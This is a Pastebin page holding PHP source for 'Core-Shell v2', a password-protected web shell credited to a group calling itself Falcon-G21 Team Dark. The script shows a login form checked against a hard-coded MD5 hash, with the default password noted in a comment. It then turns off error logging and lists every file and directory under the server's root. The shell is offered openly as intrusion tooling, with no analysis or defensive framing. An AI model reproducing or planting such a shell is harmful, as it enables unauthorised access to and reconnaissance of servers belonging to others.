Falcon-G21

Form Login Core-Shell v2

Nov 21st, 2015
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.74 KB | None | 0 0
  1. <?php
  2. $auth_pass = "a8692d0d5adc2b62ead8da107e05f486"; //default = core-v2
  3. function printLogin(){
  4. ?>
  5. <html>
  6. <head>
  7. <title> Core-Shell v2 </title>
  8. <style>
  9. body {
  10.   color: #DF0000;
  11.   background:#000000;
  12. }
  13. *,
  14. *:before,
  15. *:after {
  16.    box-sizing: border-box;
  17. }
  18. form {
  19.   border: 1px solid #c6c7cc;
  20.   border-radius: 5px;
  21.   font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
  22.   overflow: hidden;
  23.   width: 240px;
  24. }
  25. fieldset {
  26.   border: 0;
  27.   margin: 0;
  28.   padding: 0;
  29. }
  30. input {
  31.   border-radius: 5px;
  32.   font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
  33.   margin: 0;
  34. }
  35. .account-info {
  36.   padding: 20px 20px 0 20px;
  37. }
  38. .account-info label {
  39.   color: #395870;
  40.   display: block;
  41.   font-weight: bold;
  42.   margin-bottom: 20px;
  43. }
  44. .account-info input {
  45.   background: #fff;
  46.   border: 1px solid #c6c7cc;
  47.    box-shadow: inset 0 1px 1px rgba(0, 0, 0, .1);
  48.   color: #636466;
  49.   padding: 6px;
  50.   margin-top: 6px;
  51.   width: 100%;
  52. }
  53. .account-action {
  54.   background: #f0f0f2;
  55.   border-top: 1px solid #c6c7cc;
  56.   padding: 20px;
  57. }
  58. .account-action .btn {
  59.   background: linear-gradient(#49708f, #293f50);
  60.   border: 0;
  61.   color: #fff;
  62.   cursor: pointer;
  63.   font-weight: bold;
  64.   float: left;
  65.   padding: 8px 16px;
  66. }
  67. .account-action label {
  68.   color: #7c7c80;
  69.   font-size: 12px;
  70.   float: left;
  71.   margin: 10px 0 0 20px;
  72. }
  73. </style>
  74. <body>
  75. <center>
  76. <h1> Core-Shell v2 By Aihara Anwaru </h1>
  77. <a href='http://mrlover21.org' title='Falcon-G21 Team Dark' target='_blank'><img src='http://ninjakiwi.com/dev/clan-assets/clan-shields/Shield_Falcons.png' width='200' height='200'></a>
  78. <form action="" method="post">
  79.   <fieldset class="account-info">
  80.     <label>
  81.       Password
  82.       <input type="password" name="pass">
  83.     </label>    
  84.   </fieldset>
  85.   <fieldset class="account-action">
  86.    <input class="btn" type="submit" name="sub" value="Login">
  87.   </fieldset>
  88. </form>
  89. <center><address>Copyright © 2015 Falcon-G21 Team Dark</address></center>
  90. <?php
  91.     exit;
  92. }
  93. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  94.     if( empty( $auth_pass ) ||
  95.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  96.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  97.     else
  98.         printLogin();  
  99. //=============================================================================
  100.  
  101. @ini_set('log_errors',0);
  102. @ini_set('output_buffering',0);  
  103.  
  104. $directory = '/';
  105.  
  106. $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
  107.  
  108. while($it->valid()) {
  109.  
  110.     if (!$it->isDot()) {
  111.  
  112.         echo 'SubPathName: ' . $it->getSubPathName() . "<br />";
  113.         echo 'SubPath:     ' . $it->getSubPath() . "<br />";
  114.         echo 'Key:         ' . $it->key() . "<br />";
  115.     }
  116.  
  117.     $it->next();
  118. }
  119. ?>
Advertisement
Add Comment
Please, Sign In to add comment